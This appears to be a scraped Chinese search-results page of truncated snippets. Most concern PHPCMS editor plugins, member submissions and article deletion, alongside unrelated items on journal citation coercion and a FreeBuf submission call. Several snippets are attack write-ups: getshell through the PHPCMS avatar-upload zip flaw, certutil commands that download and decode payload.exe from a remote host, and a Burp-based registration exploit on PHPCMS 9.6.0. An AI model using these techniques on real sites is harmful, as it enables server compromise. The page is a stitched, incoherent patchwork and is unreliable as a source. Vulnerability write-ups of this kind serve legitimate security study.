2012年12月14日9时30分：修复前台会员中心投稿和黄页中上传页面显示问题（前台会员中心投稿要使用上传功能，需在后台“用户”》“管理会员组”中为相关用户组设置“允许上传附件”）。...主要功能： 1.为ueditor添加PHPCMS V9子标题插件 2.图片上传采用ueditor的默认上传插件 3.附件上传采用PHPCMS V9的附件上传 4.上传路径采用PHPCMS V9的默认目录模式...后台管理启用二级域名而引发的JS跨域问题 10.支持前台用户投稿和黄页新闻发布 上图片： ?...安装步骤： 1.下载整合包 2.备份你的网站源文件(因为修改了很多phpcms的文件) 3.上传整合包覆盖到你网站根目录 3.登录后台管理，更新缓存 5.删除浏览器缓存（ctrl+shift+del）...6.进入后台开始使用…… 希望大家能反馈一下BUG和修改意见 phpcms-ueditor1.2.3.4.zip 相关文章：http://bbs.phpcms.cn/thread-814489-1-1
此方法并不涉及内核代码修改，仅仅是利用权限判断实现投稿审核功能。 说明： 1.会员发稿后自动转存到草稿箱； 2.会员发稿不显示置顶选项； 3.待审核的文章和已经发布的文章，会员不能编辑； 4....“草稿箱”和“管理”，只保留会员删除权限； 管理员权限不变！ 需要修改的文件有二个，位于 \admin\views\文件夹内， “admin_log.php”，“add_log.php”。
下面是原来的方法（已过期） 我所使用的是PHPCMSV9默认情况下生成的静态页面，都是位于html文件夹下，我不希望有太长的url，所以接下来让我们一起来解决路径中html的删除方法。...找到cachesconfigssystem.php 找到“html_root”这一项，然后把/html这个字符串删除即可。。这样再新建栏目时就生效了。
需求分析 日常我们在记录会员信息的时候，随着会员信息的增多，有必要定期清理一些已经不来消费的顾客，那么小程序删除的功能是必备的。...本文就讲解一下会员信息如何进行删除，考虑到读者群还有一部分是老板，对于软件开发技术不是特别了解，我们在讲解的过程中尽量保持通俗易懂。...第二个需要考虑是删除的逻辑，删除的逻辑需要先获得记录的主键，获取主键是为了保证只删除该删除的记录。一般删除动作比较危险，为了防止误删，需要给用户一个提示，当他确认之后我们再做删除的动作。...好了，原理介绍了这么多，我们就实操一下如何实现会员信息的删除功能。...，切换到按钮的事件页签，选择我们刚才定义的低代码方法 [在这里插入图片描述] 添加后还需要给方法传参，我们选择当前的状态变量传递id即可 [在这里插入图片描述] 这样我们就设置好了 页面的效果 进入到会员列表
在批量删除文章前，首先得熟悉用数据库增加一篇文章时变动的有哪些表，所以请先看我以前写的一篇文章 PHPCMS数据库入库模块制作教程 先手动在PHPCMS后台添加一篇文章，参数尽可能的详细，附件，推荐位，...相关文章，能加的都加上，然后查看数据库，把表信息复制下来，删除文章后再次复制数据库表信息，用BeyondCompare进行比较，方法跟上面提到的文章相同。...，其实还有2个表中的内容也应该删除，它们的作用是用来存储文章关键字，以及哪些文章用了同一个关键字，这2个表分别为 v9_keyword 和 v9_keyword_data 其中 v9_log 表不用理会...，他记录的是 后台操作日志，记录着增加文章，删除文章，编辑文章的操作日志 重点关注的数据表 v9_attachment 附件信息 v9_attachment_index 附件id和文章id的关系 v9_...咱们就以删除指定分类下的所有文章为例；首先得获取到要删除的文章id有哪些，然后就是了解各个表跟文章id的关系，以下是我的分析 表v9_attachment_index 字段keyid格式 c-6-3、c
也可以跳过此步，直接恢复整个binlog日志为sql，然后打开sql文件，删除错误语句。
据知情人士透漏，Hamid Reza Karimi是一家期刊的副主编，当别人投稿向这家期刊投稿时，他对投稿人提出了引用自己文章的请求。 ?...现为 IEEE 高级会员，2016-2017 汤森路透全球高被引科学家。...爱思唯尔也已经开始考虑建立一个 算法检测机制，帮助出版方对比论文在投稿时和被接受后的参考文献信息。 最后，小声问一句 ? ：这事在国内真的很常见吗，您有遇到过吗？
多了一个删除目录下所有文件的函数： ? 判断文件名并删除多余目录。之前的代码之所以有问题就是因为它没有递归删除用户上传的压缩包内的文件夹内的内容。 ?...这不就是phpcms那个头像上传getshell吗，原来fineCMS中头像上传的地方使用的是phpcms的源码。而且这个开发者也很负责，在phpcms出事以后很快就发布了自己的补丁。...0x03 老办法拿shell（这部分不理解的话参考phpcms那个漏洞） 注册会员，来到上传头像处，选择一个正常图片点保存： ? burpsuite抓包改包： ?
进入templeta/default/forum/Discuz.htm (使用非默认模版的请修改当前使用模版的discuz.htm)删除以下代码即可 {lang
注意编辑器文件夹ueditor的最终路径必须是/statics/js/ueditor/ 另外，上传的图片附件还要改下，等下再发给帖子说明下 由于经常要贴代码以及其它编辑器效果，但phpcms默认的编辑器功能太简单...需要的朋友可以去官网查看实际效果，或者注册本站投稿试用一下。...（之前忘记修改栏目投稿权限，现在只要注册就可以测试，5.28修改） 官网体验url如下： http://ueditor.baidu.com/website/onlinedemo.html 替换过程中需要修改到...phpcms自身程序文件，所以在大家在替换之前需要先在本地备份一下整站文件，而且最好先在本地进行测试，调试完毕后再上传到网站空间。...步骤如下： 一、先到官网下载资源包（先定制编辑器导航工具，再下载） 二、上传到phpcms默认的js文件路径，上传后的文件路径如下 \statics\js\ueditor\ 三、打开/phpcms
该目标起源于，通过fofa搜索“xx网络”，然后通过弱口令拿到了该后台权限，在后台发现这套系统为phpcms 9.5.9。 ?...于是看看网上有没有历史漏洞，同时也问了一下好友@RG师傅，他找到一个历史漏洞文章： https://www.cnblogs.com/str1ve/p/13381676.html 我们在用户->管理会员-...>添加会员模块中进行文件上传 ?...-f http://192.168.1.108/base64.txt b64 & certutil -decode b64 C:\ProgramData\payload.exe & del b64 删除指定缓存...certutil -urlcache -split -f http://192.168.1.108/base64.txt delete 查看所有缓存： certutil -urlcache * 删除所有缓存
基础环境 1.phpcms_v9.6.0源码。 2.web应用环境用于搭建phpcms。 3.web应用服务器用于下载木马文件。 需要工具 1.BurpSuite 或者hackBar等。...1. 0x01 解压phpcms_v9.6.0源码文件，将源码放在www目录下。 ? 2.0x02 启动phpstudy，然后访问本地http://127.0.0.1/phpcms/地址。 ? ?...http://127.0.0.1/phpcms/index.php。 ?...漏洞复现过程 1. 0x01 按照常规的源码部署流程先将phpcms_v9.6.0部署到web环境中，部署完成后访问注册模块。 ?...2. 0x02在会员注册模块中填写注册信息，并使用burpSuite抓包发送到repeater中并修改POST请求的参数值为以下内容： siteid=1&modelid=11&username=thinking1&
phpcms由于不支持fsockopen无法安装 方法一（推荐）：安装的时候，在地址栏直接改step=3，跳过这一步即可安装成功。...1 : 0; fsockopen替换为pfsockopen 如果你需要邮件功能的话，就需要修改管理会员邮件的文件。...修改服务器上的phpcms/modules/member/classes/client.class.php这个文件，将第361行的fsockopen改成pfsockopen 不支持fsockopen和pfsockopen
文章源自-投稿 作者-lbug 前言 今天带大家认识一下验证码的真面目，本文参考N10th大佬文章，不得不说思路就是广啊，我参考后直接找案例验证，废话不多说，直接上菜。...验证码生成网址： http://localhost/phpcms_v9.6.3_UTF8/phpcms_v9.6.3_UTF8/phpcms_v9_UTF8/install_package/api.php
参数名称 描述 位置 备注 m 模型/模块名称 phpcms/modules中模块目录名称 必须 c 控制器名称 phpcms/modules/模块/*.php 文件名称 必须 a 事件名称 phpcms...上面流程存在问题的地方有，1.未对压缩包内容进行处理，2.解压遍历删除使用的是unlink函数，这个函数只能删除文件，不能删除文件夹。...下图删除了压缩包文件 ? 继续执行，当判断到dir目录时，因为dir目录不属于数组里（白名单），然后执行unlink(dir目录)。...由于unlink函数只能删除文件，无法删除文件夹，所以就留下了恶意代码文件。 ? 接着跳出了if语句，继续执行，将信息更新至数据库 ? 所以，漏洞产生的原因就是unlink函数 if(!...因为unlink无法删除文件夹，这就是为什么上面利用的压缩包里的恶意代码文件需要放在目录下 漏洞修复 不使用zip压缩包处理图片文件 使用最新版的phpcms 文章中有什么不足和错误的地方还望师傅们指正
批量删除腾讯专栏文章的脚本，腾讯云专栏签约后，抓取文章不插入原来连接，这个我怎么评价了呢！...只好删除，走人了 一个偶然机会接触到了腾讯，主要还是，不在腾讯云上，经常提示网站不安全 然后，就妥协了，然后，开通了腾讯云专栏 然后腾讯云专栏 从网站上爬取数据，但是，但是工程师，居然不给源站的指向连接...，所以，seo上，源站被分散了 理论上——虽然我网站访问量少，但是强迫症，没有办法 一直没有找到腾讯云专栏的批量删除工具 所以绝地自己动手 1、点击删除，发现并没有校验请求，确定后，发送一个ajax 2...等cms2018-04-26 腾讯云神器的市场推广价格——坑爹的价格体系2018-05-31 网站迁移云服务器血泪记—phpcms小站迁移2018-06-04 phpcms v9站http升级到https...需设置HTTP header参数及phpcms设置CSP的缘由及注意事
$file); } } } } 可以看到，它删除的时候没有递归删除，也没有删除文件夹。这样，只要我们的webshell放在压缩包的文件夹中，即可避免被删除了。...这就是phpcms最早的头像上传漏洞。这个漏洞影响的不只是phpcms，也包括抄袭其代码的finecms。...finecms是一个很喜感的cms，在phpcms出问题以后，finecms偷偷将漏洞修复了，当然修复方法就是直接拷贝了phpcms的补丁。...，而没有删除其文件夹中的非法文件。...> 在文件上传解压到被删除这个时间差里访问，就能在网站根目录下生成新的php文件，那么新生成的php文件是不会被删除的。
目前没有什么大站采用phpcms,在2007版的时候,phpcms的官方演示是个错位的,让人一看就罢手,官方网站都搞不定,还搞别的?...目前没碰到过大站用phpcms 至少我没碰到过,孤陋寡闻了!...下面我从几个方面比较一下: seo: dedecms>phpcms>ecms 负载: phpcms>ecms>dedecms 门户站: phpcms>ecms>dedecms 专业站: ecms>...dedecms>phpcms 易用性:dedecms>phpcms>ecms 扩展性:ecms>phpcms>dedecms 安全性:ecms>dedecms>phpcms 稳定性: ecms>...如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 举报，一经查实，本站将立刻删除。
但据说一年前phpcms就有这个0day了，知道昨天才被公开。 0x02 过程演示 首先找到目标网站（使用phpcms搭建），注册一个账号。来到用户中心 - 上传头像 ?...phpcms对头像上传是这么处理，上传上去的zip文件，它先解压好，然后删除非图片文件。 关键地方代码： //存储flashpost图片 $filename = $dir....$file); } } } } 可以看到，它删除的时候没有递归删除，也没有删除文件夹。...尽量不允许前台用户上传压缩包，如果上传压缩包，一定要递归检查压缩包中所有文件后缀，删除非法的文件。 最后，将上传目录设置成不可执行。...phpcms是一个大型的cms，用的人很多，基本上是以万计数，所以找起来很容易。 直接百度 powered by phpcms即可： ?
2、稿件未被采纳的作者，其稿件被推荐至各个子分类，亦可获得大量FreeBuf商城金币奖励，可在FreeBuf商城兑换视频门户网站会员、FreeBuf周边、书籍等好礼。...3、活动期间，所有甲方投稿将会优先审核，并且有机会获得多种FreeBuf周边。...投稿后可加入甲方会员群，告知FB小助手kiki（微信号：freebuf1024），将会反馈给审核团队，第一时间完成审核。...投稿规则 1、文章需要紧扣“甲方视角”，或者围绕甲方进行创作； 2、仅限个人原创文章投稿，可适当引用参考资料，切勿纯编译； 3、文章需在FreeBuf独家发布，请勿一稿多投； 4、文章不得含有明显推广内容...，不接受任何软文投稿； 5、质量达不到现金奖励要求的文章，可转为金币奖励； 6、文章审核将在自投稿后7个工作日内进行； 7、在文章标题中标注“甲方投稿”（审核时编辑会删除）。
领取专属 10元无门槛券
手把手带您无忧上云
